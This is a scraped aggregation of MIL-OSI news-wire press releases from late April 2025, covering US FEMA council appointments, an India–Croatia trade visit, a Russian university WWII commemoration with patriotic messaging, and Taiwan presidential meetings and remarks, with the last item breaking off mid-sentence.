    • The RECLAIM Taxpayer Funds Act to recover billions in fraudulent government loans and restore fiscal responsibility and government accountability. Implemented by the Biden Administration in December 2023.
    • The Migratory Birds of the Americas Conservation Enhancements Act to protect migratory birds and their habitat, which is critical for the Everglades. Signed into law April 2024.
    • The Forgotten Heroes of the Holocaust Congressional Gold Medal Act honors 60 diplomats who risked their lives during World War II to save Jews from Nazi persecution. Signed into law December 2024.

    You can read more about Congresswoman Salazar’s legislative victories here.

    MIL OSI USA News –

    April 29, 2025
  • MIL-OSI USA: President Trump Appoints New Members to Federal Emergency Management Agency Review Council

    Source: US Federal Emergency Management Agency

    Headline: President Trump Appoints New Members to Federal Emergency Management Agency Review Council

    ASHINGTON—Today, President Donald J

    Trump appointed several new members to the Federal Emergency Management Agency (FEMA) Review Council, a bipartisan group tasked with reforming and streamlining the nation’s emergency management and disaster response system

    Secretary Kristi Noem and Secretary of Defense Pete Hegseth will co-chair the council

     
    The FEMA Review Council is charged with streamlining operations and ensuring FEMA delivers rapid, efficient, and mission-focused relief to Americans in need

     
    Appointed Members:

    Co-Chair: Secretary of Homeland Security Kristi Noem
    Co-Chair: Secretary of Defense Pete Hegseth
    Greg Abbott, Governor, State of Texas
    Phil Bryant, Former Governor, State of Mississippi
    Jane Castor, Mayor, City of Tampa, Florida
    Mark Cooper, Former Chief of Staff, Governor John Bel Edwards
    Rosie Cordero-Stutz, Sheriff, Miami-Dade County
    Evan Greenberg, CEO, Chubb Limited
    Kevin Guthrie, Executive Director, Florida Division of Emergency Management
    W

    Nim Kidd, Chief, Texas Division of Emergency Management
    Michael Whatley, Chairman, Republican National Committee
    Glenn Youngkin, Governor, Commonwealth of Virginia
    Robert J

    Fenton, Jr

    , Region 9 Administrator and two-time Acting Administrator, Federal Emergency Management Agency

    About the FEMA Review CouncilOn January 24, 2025, the President established the Council to Assess the Federal Emergency Management Agency through Executive Order 14180, Council to Assess the Federal Emergency Management Agency

    The goal of the FEMA Review Council is to advise the President, through the Assistant to the President for National Security Affairs, the Assistant to the President for Homeland Security, and the Director of the Office of Management and Budget, on the existing ability of FEMA to capably and impartially address disasters occurring within the United States and shall advise the President on all recommended changes related to FEMA to best serve the national interest

     
    ###

    MIL OSI USA News –

    April 29, 2025
  • MIL-OSI Asia-Pac: Commerce Secretary Shri Sunil Barthwal Engages with Croatian Counterparts to Strengthen Bilateral Economic Cooperation

    Source: Government of India

    Commerce Secretary Shri Sunil Barthwal Engages with Croatian Counterparts to Strengthen Bilateral Economic Cooperation

    India and Croatia Discuss Collaboration in Railways, EVs, Defence, Healthcare,  Renewable Energy, and Food Processing Sectors

    Posted On: 29 APR 2025 11:16AM by PIB Delhi

    Commerce Secretary, Government of India, Shri Sunil Barthwal, visited the Republic of Croatia from 22–23 April 2025, where he held bilateral discussions with Mr. Zdenko Lucić, State Secretary for Foreign Trade and Development, Ministry of Foreign and European Affairs, and Mr. Ivo Milatić, State Secretary, Ministry of Economy. The meetings focused on advancing India-Croatia trade and investment relations, promoting sectoral collaboration, and reinforcing India’s engagement with the Central European region.

    During the meeting with Mr. Zdenko Lucić, State Secretary for Foreign Trade and Development,discussions centered around taking forward the EU-India Free Trade Agreement (FTA) and enhancing bilateral trade cooperation.The discussions focused on taking forward the EU-India FTA and strengthening bilateral trade relations. The Commerce Secretary mentioned the visit of EU President and 27 Commissioners to India as the first visit of the College of Commissioners outside the European continent since the start of their new mandate and also the first such visit in the history of India-EU bilateral ties. Commerce Secretary mentioned about the areas of collaboration between the two countries like Railways, Global Capability Centers, Electric Vehicles, IT etc. Croatian side apprised about their interest of investment in Defence sector (about flagship products of India), solar cells production, food processing technology, Automobiles, knowledge sharing amongst other sectors.

    In the meeting of Commerce Secretary with Mr. Ivo Milatić, State Secretary, Ministry of Economy, discussion was focused on promoting investment flows, and enhancing cooperation across key sectors including Healthcare, Education, Tourism, Entertainment (mentioned about WAVES summit), Supply-Chain integration, Logistics, Transports, Pharmaceuticals, Digital Technology, Renewable Energy and Manufacturing. For the 3rdSession of Joint Commission on Economic Cooperation which is due, both sides exchanged their views on improving the work of the commission with more frequent meetings and directly connecting the entrepreneurs of both the countries for a stronger and faster progress.

    The Commerce Secretary also participated in a business interaction event “Exploring Economic Cooperation Opportunities between India and Croatia” organized by the Croatian Chamber of Economy (CCE), where he met with the heads of various industry associations and leading Croatian business representatives. A presentation on the Croatian Economy, the trade and investment relations between India and Croatia and Industries potential on key sectors of mutual interest was shown. The event provided a platform to explore opportunities for collaboration, address trade facilitation measures, and promote mutual business interests. Successful business cases of Croatian Companies in the Indian Market were also presented.

    The visit reaffirmed India’s commitment to strengthening engagement with the Central European region and underscored the shared interest in expanding commercial partnerships between Indian and Croatian enterprises.

    ***

    Abhishek Dayal/Abhijith Narayanan

    (Release ID: 2125059) Visitor Counter : 32

    MIL OSI Asia Pacific News –

    April 29, 2025
  • MIL-OSI Russia: “Passing on the Memory of the Feat”: HSE Hosts Conference in Honor of the 80th Anniversary of Victory

    Translation. Region: Russian Federal

    Source: State University Higher School of Economics – State University Higher School of Economics –

    © Higher School of Economics

    On April 25, the International Student Military-Patriotic Conference was held at the HSE Cultural Center “The Great Victory is 80 years old”. Russian and foreign students, students Lyceum of the National Research University Higher School of Economics and partner schools, teachers and university administrators. The key role in the preparation of the conference was played by Military Training Center of the National Research University Higher School of Economics under the leadership of Hero of Russia Colonel Vladimir Korgutov.

    In the hall of the first floor of the Center of Culture, there was an exhibition called “Weapons of Victory”. Students dressed in military uniforms from the Great Patriotic War demonstrated rare rifles, machine guns, grenades, helmets, and even a cavalry saber to guests.

    Levitan’s voice was heard from the speakers, announcing the signing of the act of unconditional surrender of Germany on May 8, 1945. And in the halls of the second and third floors, students danced to the song “Our Cossacks are Riding, Riding Through Berlin.” There was an exhibition of student paintings on military themes, as well as an exhibition “Coal of Victory” – images of the heroes of the SVO.

    At one of the stands, anyone could receive a collection of the best competition works by HSE students for the 80th anniversary of the Victory.

    There was no indifference

    The conference in the Great Hall began with the carrying out of the banners and the performance of the Russian Federation Anthem. Then the participants were addressed by the Vice-Rector of the National Research University Higher School of Economics Sergey Rozhkov.

    He called the conference “a significant event in the life of our team,” emphasizing that it was preceded by meticulous work. The commission reviewed more than 200 student studies devoted to various pages of the Great Patriotic War, and the authors of the best of them were invited to speak.

    “As the chairman of the commission, I responsibly declare that there was no indifference in these works. They are imbued with a sense of patriotism, personal pride for their relatives and friends who forged the Great Victory on the fronts of the Great Patriotic War, on the labor fronts in the rear, and everyone made their contribution to the common cause,” noted Sergei Rozhkov.

    The vice-rector emphasized that 80 years separate us from 1945, but we must not forget the price we paid for the victory. “When a person stops remembering, he stops living. And we must pass on the memory of the feat that our ancestors accomplished from generation to generation so that we could study and work in peace,” he said.

    After this, a minute of silence was declared.

    The Truth About War

    The introductory report was given by the HSE full professor, Major General Adam Nizhalovsky.

    He recalled that, according to official data, losses in World War II amounted to 55 million people, of which 27 million were losses of the Soviet Union, that is, 14% of its population. “Think about this figure! Every seventh Soviet person died, and these are the best people of our country,” the general noted.

    The report touched upon such topics as the beginning of the Great Patriotic War, the participation of European armies in it, the atrocities of the fascists, the fate of prisoners of war, and the circumstances of Germany’s capitulation. In the West, it is believed that Germany capitulated to the Allied forces on May 7 in Reims, although the USSR did not recognize this, and the signing of the real act of capitulation took place on May 8 in Karlshorst with the participation of Marshal Zhukov.

    “Thus, even before the end of the war, Western countries began to falsify its results. Having begun attacks on the USSR in May 1945, they intensified them in the following years and erased the truth about that war from the consciousness of their citizens, belittling the role of the Soviet Union in the victory over fascism,” Adam Niżalowski emphasized.

    In conclusion of his report, he recalled that today only a few creators of victory remain in the veteran ranks and due to their age it is difficult for them to defend what they fought for in the soldier ranks. Now this task and sacred duty falls on us – the heirs of the Great Victory.

    Pain and pride

    Eight student papers, selected based on the results of the competition, were presented at the conference.

    In a report dedicated to the Brest Fortress, the student Faculty of Creative Industries From the Republic of Belarus, Kristina Alekseeva focused on little-known facts: that the fortress was stormed by the Austrians, that it was defended by representatives of more than 30 nationalities, that the inscriptions scratched on the walls of the casemates and the buried banners were found years later, that it was in Brest that the first burial place for Wehrmacht soldiers was created.

    Students of the Military Training Center Evgeny Dolgov and Ivan Singay presented the results of a study on military training in universities during the Great Patriotic War.

    Such training began already in 1941, most students managed to apply the knowledge they had acquired in practice and maintain contact with universities. Over a thousand MSU graduates were awarded, seven of them became Heroes of the Soviet Union. And, for example, among the graduates of the Moscow Institute of Transport Engineers there were partisans who blew up enemy trains.

    Family history

    Student Higher School of Business Kirill Pivovarov spoke about eight heroes of the Great Patriotic War – members of his family.

    Among them is his great-great-uncle Nikolai Shabrov, who volunteered for the front, was seriously wounded, recovered and was again called up to the army, commanded a platoon of the 8th Guards Panfilov Division, was personally acquainted with Marshal Zhukov, who gave him his accordion. And Kirill’s great-great-grandfather Sergei Kraskov fought in the unit commanded by his son Viktor, and they served together until the end of the war.

    Student Faculty of Social Sciences Olga Avdeevich from the Republic of Belarus said that her great-great-uncle Mikhail Avdeevich became the secretary of an underground Komsomol organization in a village in Western Belarus at the beginning of the war. In 1943, he was taken into slavery to Germany, and after the liberation of East Prussia, he was drafted into the Red Army and took part in battles, was wounded, and his subsequent fate is unknown.

    “My father and I are looking for Grandpa Misha, and according to one version, he died of his wounds and was buried in Poland. But the search for the burial site has now been suspended, since Poland, an unfriendly country, does not respond to our requests,” Olga explained.

    Friendly countries

    The conference was attended by Chinese and Mongolian students. Xiao Yanbo, student Faculty of Humanities from China, gave a report on the topic “The Great Victory in the Fates of the Peoples of China,” telling about some events of the Sino-Japanese War of 1937–1945.

    “If the Bryansk forests are a symbol of the Soviet people’s resistance to fascism, then the fields and hills of Shandong, a region in eastern China, are a symbol of the Chinese people’s resilience in the face of Japanese invaders. Our countries fought together against fascism and militarism, and the actions of Chinese partisans in many ways echo the feat of their Soviet brothers,” the Chinese student noted.

    One of the conclusions of his research is that the victory of the USSR in the Great Patriotic War and the decisive actions of the Red Army to defeat Japan made it possible to liberate the lands of China, opening a new page in Soviet-Chinese relations.

    A student of the creative industries department, Batjargal Ganbalor from Mongolia, told how her country, despite limited resources, helped the Soviet Union during the war. They sent food, clothing, horses (every fifth horse in the Red Army was Mongolian) to the front, paid for the construction of tanks and planes – the amount of aid was equivalent to three years of the country’s budget.

    An activist of the Mongolian Club of the National Research University Higher School of Economics, Tugsmandal Sergelen, spoke about her ancestors, one of whom fought against the Nazis in the ranks of the Red Army, was wounded, awarded an order and returned home, and the other, being of advanced age and possessing great authority in his country, personally donated 39 horses and almost 20 kg of silver to the needs of the front.

    “I am filled with gratitude to my ancestors for their contribution to the victory. The peoples of Mongolia and the USSR have the right to celebrate this victory together,” the girl concluded.

    Made your choice

    The leitmotif of the conference was the thesis about the continuity of generations that stood up to defend the Motherland during the Great Patriotic War and now, during the Central Military District.

    Anton Yukhnevsky, a graduate of the Military Training Center last year, told how HSE students continue the tradition of helping the front today. A month after the start of the SVO, the “White Raven” movement was created at the university. Its participants organize humanitarian actions and visiting missions in the SVO zone and in areas adjacent to the combat contact line, and hold sports and educational events at the university.

    “You and I could have distanced ourselves from this, studied, had fun and spent time carefree,” Anton addressed the students. “But we made our choice long before the start of the SVO, back in childhood, thanks to our upbringing, and I am sure that it was the only right one.”

    Social Sciences student Anton Nudny read his poem dedicated to a soldier who defended the Motherland in the 1940s and his grandson who followed his example 80 years later: “…And the years flew by like a moment, / and again Kharkov, again battle and smoke, / and the current soldier is of a different generation, / but his spirit is still the same – he is invincible.”

    Betting on talent

    The conference reports alternated with concert numbers. The hit of the day was the song “Faith in Victory”, written by the instructor of the military intelligence cycle, Colonel Evgeny Mityukov, and performed by him together with the students. Another discovery was the compositions of the vocal and instrumental ensemble created at the Military Training Center a month ago.

    As explained by the head of the Military Training Center, Hero of Russia Colonel Vladimir Korgutov, the organizers decided not to invite fashionable presenters and professional musical groups, relying on the talents of teachers and students.

    In closing the conference, he thanked its participants and organizers, congratulated all those present on Victory Day, and reported that the Military Training Center, which has already graduated more than 7,000 officers, sergeants, and reserve soldiers, continues to train true defenders of the Fatherland.

    Patriots become

    According to Vice-Rector Elena Odoevskaya, to achieve the goals set in the strategic documents of the HSE, it is necessary to have fortitude, to be able to overcome difficulties and move forward, and the conference once again showed that HSE students have these qualities. They also demonstrated unique creative abilities. “I am delighted with the vocal and instrumental ensemble,” added Elena Odoevskaya.

    “Patriots are not born – they become them, including thanks to correctly presented and emotionally colored information. The conference was filled with such information about the Great Patriotic War, about the contribution of our people to the victory, and its better perception was facilitated by the concert program. Many facts and conclusions that were voiced here should be known to every schoolchild and student,” noted Vice-Rector Vyacheslav Bashev.

    “The main impression from the conference is a feeling of pride for the younger generation. It is worthy of the memory of its ancestors,” concluded Sergei Rozhkov.

    Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.

    MIL OSI Russia News –

    April 29, 2025
  • MIL-OSI Asia-Pac: President Lai meets Japanese Diet Member and former Minister of State for Economic Security Takaichi Sanae

    Source: Republic of China Taiwan

    Details
    2025-04-23
    President Lai delivers remarks at International Holocaust Remembrance Day event
    On the afternoon of April 23, President Lai Ching-te attended an International Holocaust Remembrance Day event and delivered remarks, in which he emphasized that peace is priceless, and war has no winners, while morality, democracy, and respect for human rights are powerful forces against violence and tyranny. The president stated that Taiwan will continue to expand cooperation with democratic partners and safeguard regional and global peace and stability, defending democracy, freedom, and human rights. He said we must never forget history, and must overcome our differences and join in solidarity to ensure that the next generations live in a world that is more just and more peaceful. Upon arriving at the event, President Lai heard a testimony from the granddaughter of a Holocaust survivor, followed by a rabbi’s recitation of the prayer “El Maleh Rachamim.” He then joined other distinguished guests in lighting candles in memory of the victims. A transcript of President Lai’s remarks follows: To begin, I want to thank the Israel Economic and Cultural Office (ISECO) in Taipei, German Institute Taipei, Taiwan Foundation for Democracy, and Ministry of Foreign Affairs for co-organizing this deeply significant memorial ceremony again this year. I also want to thank everyone for attending. We are here today to remember the victims of the Holocaust, express sympathy for the survivors, honor the brave individuals who protected the victims, and acknowledge all who were impacted by this atrocity. It was deeply moving to hear Ms. [Orly] Sela share the story of how her grandmother, Yehudit Biksz, escaped the Nazi regime. I want to thank her specially for traveling so far to attend this event. From the 1930s through World War II, the Nazi regime sought to exclude Jewish people from society. In their campaign, they perpetrated systematic genocide driven by their ideology. Policies and directives under the authoritarian Nazi regime resulted in the deaths of approximately 6 million Jews. Millions of others were persecuted, including Romani people, persons with disabilities, the gay community, and anyone who disagreed with Nazi ideology. It is one of the darkest chapters in human history. Many countries, including Taiwan, have enacted anti-massacre legislation, and observe a remembrance day each year. Those occasions help us remember the victims, preserve historical memory, and most importantly, reinforce our resolve to fight against hatred and discrimination. Twenty-three years ago, Chelujan (車路墘) Church in Tainan founded the Taiwan Holocaust Memorial Museum. It is the first Jewish museum in Taiwan, and the second Holocaust museum in Asia. Its founding mission urges us to forget hatred and love one another; put an end to war and advocate peace. Many of the exhibition items come from Jewish people, connecting Taiwan closer with Israel and helping Taiwanese better understand the experiences of Jewish people. In this way, we grow to more deeply cherish peace. When I was mayor of Tainan, I took part in an exhibition event at Chelujan Church. I was also invited by the Israeli government to join the International Mayors Conference in Israel, where I visited the World Holocaust Remembrance Center. I will never forget how deeply that experience moved me, and as a result, peace and human rights became even more important issues for me. These issues are valued by Taiwan and our friends and allies. They are also important links connecting Taiwan with the world. Peace is priceless, and war has no winners. We will continue to expand cooperation with democratic partners and safeguard regional and global peace and stability. We will also continue to make greater contributions and work with the international community to defend democracy, freedom, and human rights. This year also marks the 80th anniversary of the end of World War II. However, we still see wars raging around the world. We see a resurgence of authoritarian powers, which could severely impact global democracy, peace, and prosperous development. Today’s event allows for more than reflection on the past; it also serves as a warning for the future. We are reminded of the threats that hatred, prejudice, and extremism pose to humanity. But we are also reminded that morality, democracy, and respect for human rights are powerful forces against violence and tyranny. We must never forget history. We must overcome our differences and join in solidarity for a better future. Let’s work together to ensure that the next generations live in a world that is more just and more peaceful. Also in attendance at the event were Member of the Israeli Knesset (parliament) and Taiwan friendship group Chair Boaz Toporovsky, ISECO Representative Maya Yaron, and German Institute Taipei Deputy Director General Andreas Hofem.

    Details
    2025-04-23
    President Lai pays respects to Pope Francis  
    On the morning of April 23, President Lai Ching-te visited the Taipei Archdiocesan Curia to pay respects in a memorial ceremony for His Holiness Pope Francis. As officiant of the ceremony, President Lai burned incense and presented flowers, fruits, and wine to pay his respects to Pope Francis. At the direction of the master of ceremonies, the president then bowed three times in front of Pope Francis’s memorial portrait, conveying his grief and deep respect for the late pope. After hearing of Pope Francis’s passing on April 21, President Lai promptly requested the Ministry of Foreign Affairs to express sincere condolences from the people and government of Taiwan to the Vatican. The president also instructed Minister of Foreign Affairs Lin Chia-lung (林佳龍) to convey condolences to the Holy See’s Apostolic Nunciature in Taiwan.  

    Details
    2025-04-23
    President Lai meets US CNAS NextGen fellows
    On the morning of April 23, President Lai Ching-te met with fellows from the Shawn Brimley Next Generation National Security Leaders Program (NextGen) run by the Center for a New American Security (CNAS). In remarks, President Lai thanked the government of the United States for continuing its arms sales to Taiwan over the years, supporting Taiwan’s efforts to enhance its national defense capabilities and jointly maintaining peace and stability in the Indo-Pacific region. The president pointed out that we will promote our “Taiwan plus one” policy, that is, new arrangements for Taiwan plus the US, and form a “Taiwan investment in the US team” to expand investment and bring about even closer Taiwan-US trade cooperation, allowing us to reduce the trade deficit and generate development that benefits both sides. A translation of President Lai’s remarks follows: Ms. Michèle Flournoy, chair of the CNAS Board of Directors, is a good friend of Taiwan, and she has made major contributions to Taiwan-US relations through her long-time efforts on various aspects of our cooperation. I am happy to welcome Chair Flournoy, who is once again leading a NextGen Fellowship delegation to Taiwan. CNAS is a prominent think tank focusing on US national security and defense policy based in Washington, DC. Its NextGen Fellowship has fostered talented individuals in the fields of national security and foreign affairs. This year’s delegation is significantly larger than those of the past, demonstrating the increased importance that the next generation of US leaders attach to Taiwan. On behalf of the people of Taiwan, I extend my sincerest welcome to you all. The Taiwan Strait, an issue of importance for our guests, has become a global issue. There is a high degree of international consensus that peace and stability across the Taiwan Strait are indispensable elements in global security and prosperity. Facing military threats from China, Taiwan proposed the Four Pillars of Peace action plan. First, we are actively implementing military reforms, enhancing whole-of-society defense resilience, and working to increase our defense budget to more than 3 percent of GDP. Second, we are strengthening our economic resilience. As Taiwan’s economy must keep advancing, we can no longer put all our eggs in one basket. We are taking action to remain firmly rooted in Taiwan while expanding our global presence and marketing worldwide. In these efforts, we are already seeing results. Third, we are standing side-by-side with other democratic countries to demonstrate the strength of deterrence and achieve our goal of peace through strength. And fourth, Taiwan is willing, under the principles of parity and dignity, to conduct exchanges and cooperate with China towards achieving peace and stability in the Taiwan Strait. This April 10 marked the 46th anniversary of the enactment of the Taiwan Relations Act. We thank the US government for continuing its arms sales to Taiwan over the years, supporting Taiwan’s efforts to enhance its national defense capabilities and jointly maintaining peace and stability in the Indo-Pacific region. We look forward to Taiwan and the US continuing to strengthen collaboration on the development of both our defense industries as well as the building of non-red supply chains. This will yield even more results and further deepen our economic and trade partnership. The US is now the main destination for outbound investment from Taiwan. Moving forward, we will promote our “Taiwan plus one” policy, that is, new arrangements for Taiwan plus the US. And our government will form a “Taiwan investment in the US team” to expand investment. We hope this will bring Taiwan-US economic and trade cooperation even closer and, through mutually beneficial assistance, allow us to generate development that benefits both our sides while reducing our trade deficit. In closing, thank you once again for visiting Taiwan. We hope your trip is fruitful and leaves you with a deep impression of Taiwan. We also hope that going forward you continue supporting Taiwan and advancing even greater development for Taiwan-US ties.  Chair Flournoy then delivered remarks, first thanking President Lai for making time to receive their delegation. Referring to President Lai’s earlier remarks, she said that it is quite an impressive group, as past members of this program have gone on to become members of the US Congress, leading government experts, and leaders in the think-tank world and in the private sector. She remarked that investing in this group is a wonderful privilege for her and that they appreciate President Lai’s agreeing to take the time to engage in exchange with them. Chair Flournoy emphasized that they are visiting Taiwan at a critical moment, when there is so much change and volatility in the geostrategic environment, a lot of uncertainty, and a lot of unpredictability. She stated that given our shared values, our shared passion for democracy and human rights, and our shared interests in peace and stability in the Indo-Pacific region, this is an important time for dialogue, collaboration, and looking for additional opportunities where we can work together towards regional peace and stability.

    Details
    2025-04-18
    President Lai meets US delegation from Senate Foreign Relations Subcommittee on East Asia and the Pacific
    On the afternoon of April 18, President Lai Ching-te met with a delegation led by Senator Pete Ricketts, chairman of the United States Senate Foreign Relations Subcommittee on East Asia, the Pacific, and International Cybersecurity Policy. In remarks, President Lai said we hope to promote our Taiwan plus one policy, that is, new industrial arrangements for Taiwan plus the US, to leverage the strengths of both sides and reinforce our links in such areas as the economy, trade, and technological innovation. The president said that by deepening cooperation, Taiwan and the US will be better positioned to work together on building non-red supply chains. He said a more secure and sustainable economic and trade partnership will allow us to address the challenges posed by geopolitics, climate change, and the restructuring of global supply chains. A translation of President Lai’s remarks follows: I warmly welcome you all to Taiwan. I want to take this opportunity to especially thank Chairman Pete Ricketts and Ranking Member Chris Coons for their high regard and support for Taiwan. Chairman Ricketts has elected to visit Taiwan on his first overseas trip since taking up his new position in January. Ranking Member Coons made a dedicated trip to Taiwan in 2021 to announce a donation of COVID-19 vaccines on behalf of the US government. He also visited last May, soon after my inauguration, continuing to deepen Taiwan-US exchanges. Thanks to support from Chairman Ricketts and Ranking Member Coons, the US Congress has continued to introduce many concrete initiatives and resources to assist Taiwan through the National Defense Authorization Act and Consolidated Appropriations Act, bringing the Taiwan-US partnership even closer. For this, I want to again express my gratitude. There has long been bipartisan support in the US Congress for maintaining security in the Taiwan Strait. Faced with China’s persistent political and military intimidation, Taiwan will endeavor to reform national defense and enhance whole-of-society defense resilience. We will also make special budget allocations to ensure that our defense budget exceeds 3 percent of GDP, up from the current 2.5 percent, so as to enhance Taiwan’s self-defense capabilities. We look forward to Taiwan and the US continuing to work together to maintain peace and stability in the region. We will also promote our Taiwan plus one policy, that is, new industrial arrangements for Taiwan plus the US. We hope to leverage the strengths of both sides and reinforce our links in such areas as the economy, trade, and technological innovation, jointly promoting prosperity and development. We believe that by deepening cooperation through the Taiwan plus one policy, Taiwan and the US will be better positioned to work together on building non-red supply chains. A more secure and sustainable economic and trade partnership will allow us to address the challenges posed by geopolitics, climate change, and the restructuring of global supply chains. In closing, I wish Chairman Ricketts and Ranking Member Coons a smooth and successful visit. Chairman Ricketts then delivered remarks, first thanking President Lai for his hospitality. He said that he and his delegation have had a wonderful time meeting with government officials, industry representatives, and the team at the American Institute in Taiwan. Highlighting that Taiwan has long been a friend and partner of the US, he said their bipartisan delegation to Taiwan emphasizes long-time bipartisan support in the US Congress for Taiwan, and though administrations change, that bipartisan support remains. Chairman Ricketts stated that the US is committed to peace and stability in the Indo-Pacific and that they want to see peace across the Taiwan Strait. He also stated that the US opposes any unilateral change in the status of Taiwan and that they expect any differences between Taiwan and China to be resolved peacefully without coercion or the threat of force. To that end, he said, the US will continue to assist Taiwan in its self-defense and will also step up by bolstering its own defense capabilities, noting that there is broad consensus on this in the US Congress. Chairman Ricketts stated that they want to see Taiwan participate in international organizations and memberships where appropriate, and encourage Taiwan to reach out to current and past diplomatic allies to strengthen those bilateral relationships. He pointed out that the long economic relationship between the US and Taiwan is important for our as well as the entire world’s security and prosperity. He also noted that there are many opportunities for us to continue to grow the economic relationship that will help create more prosperity for our respective peoples and ensure that we are more secure in the world. Chairman Ricketts emphasized that they made this trip early on in the new US administration to work with Taiwan to develop three points: security, diplomatic relations, and the economy. He stated that in the face of rising aggression from communist China, the US will provide commensurate help to Taiwan in self-defense and that they will continue to provide the services and tools needed. In closing, Chairman Ricketts once again thanked President Lai for the hospitality and said he looks forward to dialogue on how we can continue these relationships. Ranking Member Coons then delivered remarks. Mentioning that their delegation also visited the Philippines on this trip, he said that there and in Taiwan, they have been focused on peace, stability, and security, and the ways for deepening and strengthening economic and security relations. He noted that 46 years ago, the US Senate passed the Taiwan Relations Act, adding that it was strongly bipartisan when enacted and that support for it is still strongly bipartisan today. Its core commitment, he said, is that the US will be engaged and will be a partner in ensuring that any dispute or challenge across the strait will be resolved peacefully, and that Taiwan will have the resources it needs for its self-defense. Ranking Member Coons said that between people, friendships are deepest and most enduring when they are based not just on interests but on values, and that the same is true between the US and Taiwan. Free press, free enterprise, free societies, democracy – these core shared values, he said, anchor our friendship and partnership, making them deeper. He remarked that they are grateful for the significant investment in the US being made by companies from Taiwan, but what anchors our partnership, in addition to these important investments and investments being made by Taiwan in its own security, are the values that mobilize our free-enterprise spirit and our commitment to free societies. In Europe in recent years, Ranking Member Coons said, an aggressive nation has tried to change boundaries and change history by force. He said that the US and dozens of countries committed to freedom have come to the aid of Ukraine to defend it, help it stabilize, and secure its future. So too in this region of the world, he added, the US and a bipartisan group in the US Senate are committed to stable, secure, peaceful relations and to deterring any unilateral effort to change the status quo by force. In closing, he said he is grateful for a chance to return to Taiwan after the pandemic and that he looks forward to our conversation, our partnership, and the important work we have in front of us. The delegation was accompanied to the Presidential Office by American Institute in Taiwan Taipei Office Director Raymond Greene.

    Details
    2025-04-17
    President Lai meets New Zealand delegation from All-Party Parliamentary Group on Taiwan  
    On the morning of April 17, President Lai Ching-te met with a delegation from New Zealand’s All-Party Parliamentary Group on Taiwan. In remarks, President Lai thanked the government of New Zealand for reiterating the importance of peace and stability across the Taiwan Strait on multiple occasions since last year. He also stated that this year, the Taiwan-New Zealand economic cooperation agreement (ANZTEC) is being implemented in its complete form. The president expressed hope that deeper collaboration in such fields as smart agriculture, food manufacturing, biomedicine, the digital economy, and clean energy, as well as exchanges among our indigenous peoples, will allow our economies and industries to continue evolving as they adapt to the challenges arising from global changes. A translation of President Lai’s remarks follows: I extend a warm welcome to all of our guests. New Zealand’s All-Party Parliamentary Group on Taiwan was established in 2023, marking a significant milestone in the deepening of Taiwan-New Zealand relations. I would like to thank Members of Parliament Stuart Smith and Tangi Utikere for leading this delegation, and thank all our guests for demonstrating support for Taiwan through action. We currently face a rapidly changing international landscape. Authoritarian regimes continue to converge and expand. Democracies must actively cooperate and jointly safeguard peace, stability, and the prosperous development of the Indo-Pacific region. Since last year, the government of New Zealand has on multiple occasions reiterated the importance of peace and stability across the Taiwan Strait. On behalf of the people of Taiwan, I would like to express our sincere gratitude for these statements and demonstrations of support. This year, ANZTEC is being implemented in its complete form. We look forward to exploring even more diverse markets with New Zealand. Deeper collaboration in such fields as smart agriculture, food manufacturing, biomedicine, the digital economy, and clean energy, as well as exchanges among indigenous peoples, will allow our economies and industries to continue evolving as they adapt to the challenges arising from global changes. Taiwan and New Zealand share the universal values of democracy, freedom, and respect for human rights, and parliamentary diplomacy is a tradition practiced by democracies around the world. Looking ahead, our parliamentary exchanges and mutual visits are bound to become more frequent. This will enable us to explore even more opportunities for cooperation and further deepen and solidify the democratic partnership between Taiwan and New Zealand. Thank you once again for making the long journey to visit us. I wish you a fruitful and successful trip. I also hope that everyone can take time to see more of Taiwan, try our local cuisine, and learn more about our culture. I hope our guests will fall in love with Taiwan. MP Smith then delivered remarks, saying that it is a great pleasure and an honor to be received by President Lai. The MP, noting that President Lai already covered many of the points he planned to make, went on to say that New Zealand and Taiwan share many values. He indicated that both are trading nations that rely on easy access for imports and exports, and that is why freedom of navigation is so important. That is why New Zealand had a naval vessel sail through the Taiwan Strait, he said, to underline the importance of freedom of navigation and our mutual security. MP Smith said that they look forward to building stronger relationships and enhancing the trade between our two nations. He added that New Zealand has much to offer in the field of geothermal energy to assist Taiwan, and mentioned that New Zealand is third largest in terms of the number of rocket launchers for satellites, which could assist Taiwan with communications in the future. New Zealand has other products as well, he said, but looks for assistance from Taiwan’s technology and technological sector. Lastly, MP Smith stated that he looks forward to a long and prosperous relationship between Taiwan and New Zealand. MP Utikere then delivered remarks, indicating that like Taiwan, New Zealand is a nation that is surrounded by ocean, which means that they rely on strong partnerships with communities of interest all around the globe. He said that the all-party parliamentary friendship group that was established and that they are a part of goes a long way in ensuring that a secure relationship between our two parliaments can continue to prosper. The MP also thanked Taiwan’s Representative to New Zealand Joanne Ou (歐江安) and her team for their work, which has ensured the success of the delegation’s visit. He said that the delegation experienced meetings with ministers in Taiwan’s government, members of the legislature, and those from the non-government organization sector as well. He also said that they enjoyed the opportunity to visit Wulai, and that the strength of the connections between the indigenous peoples of Taiwan and the indigenous peoples of Aotearoa New Zealand is something that certainly landed with members of the delegation. MP Utikere noted that he will take up President Lai’s offer on experiencing more of Taiwan, and will spend a few extra days in Tainan, which he understands has a very special place in the president’s heart, adding that he looks forward to his time and experiences there. The MP concluded his remarks by saying that this will be a relationship that continues to go from strength to strength. After their remarks, the New Zealand delegation sang the Māori song “Tutira Mai Nga Iwi” to extend best wishes to Taiwan. Also in attendance at the meeting were New Zealand Members of Parliament Jamie Arbuckle, Greg Fleming, Hamish Campbell, Cameron Luxton, and Helen White.  

    Details
    2025-04-06
    President Lai delivers remarks on US tariff policy response
    On April 6, President Lai Ching-te delivered recorded remarks regarding the impact of the 32 percent tariff that the United States government recently imposed on imports from Taiwan in the name of reciprocity. In his remarks, President Lai explained that the government will adopt five response strategies, including making every effort to improve reciprocal tariff rates through negotiations, adopting a support plan for affected domestic industries, adopting medium- and long-term economic development plans, forming new “Taiwan plus the US” arrangements, and launching industry listening tours. The president emphasized that as we face this latest challenge, the government and civil society will work hand in hand, and expressed hope that all parties, both ruling and opposition, will support the measures that the Executive Yuan will take to open up a broader path for Taiwan’s economy. A translation of President Lai’s remarks follows: My fellow citizens, good evening. The US government recently announced higher tariffs on countries around the world in the name of reciprocity, including imposing a 32 percent tariff on imports from Taiwan. This is bound to have a major impact on our nation. Various countries have already responded, and some have even adopted retaliatory measures. Tremendous changes in the global economy are expected. Taiwan is an export-led economy, and in facing future challenges there will inevitably be difficulties, so we must proceed carefully to turn danger into safety. During this time, I want to express gratitude to all 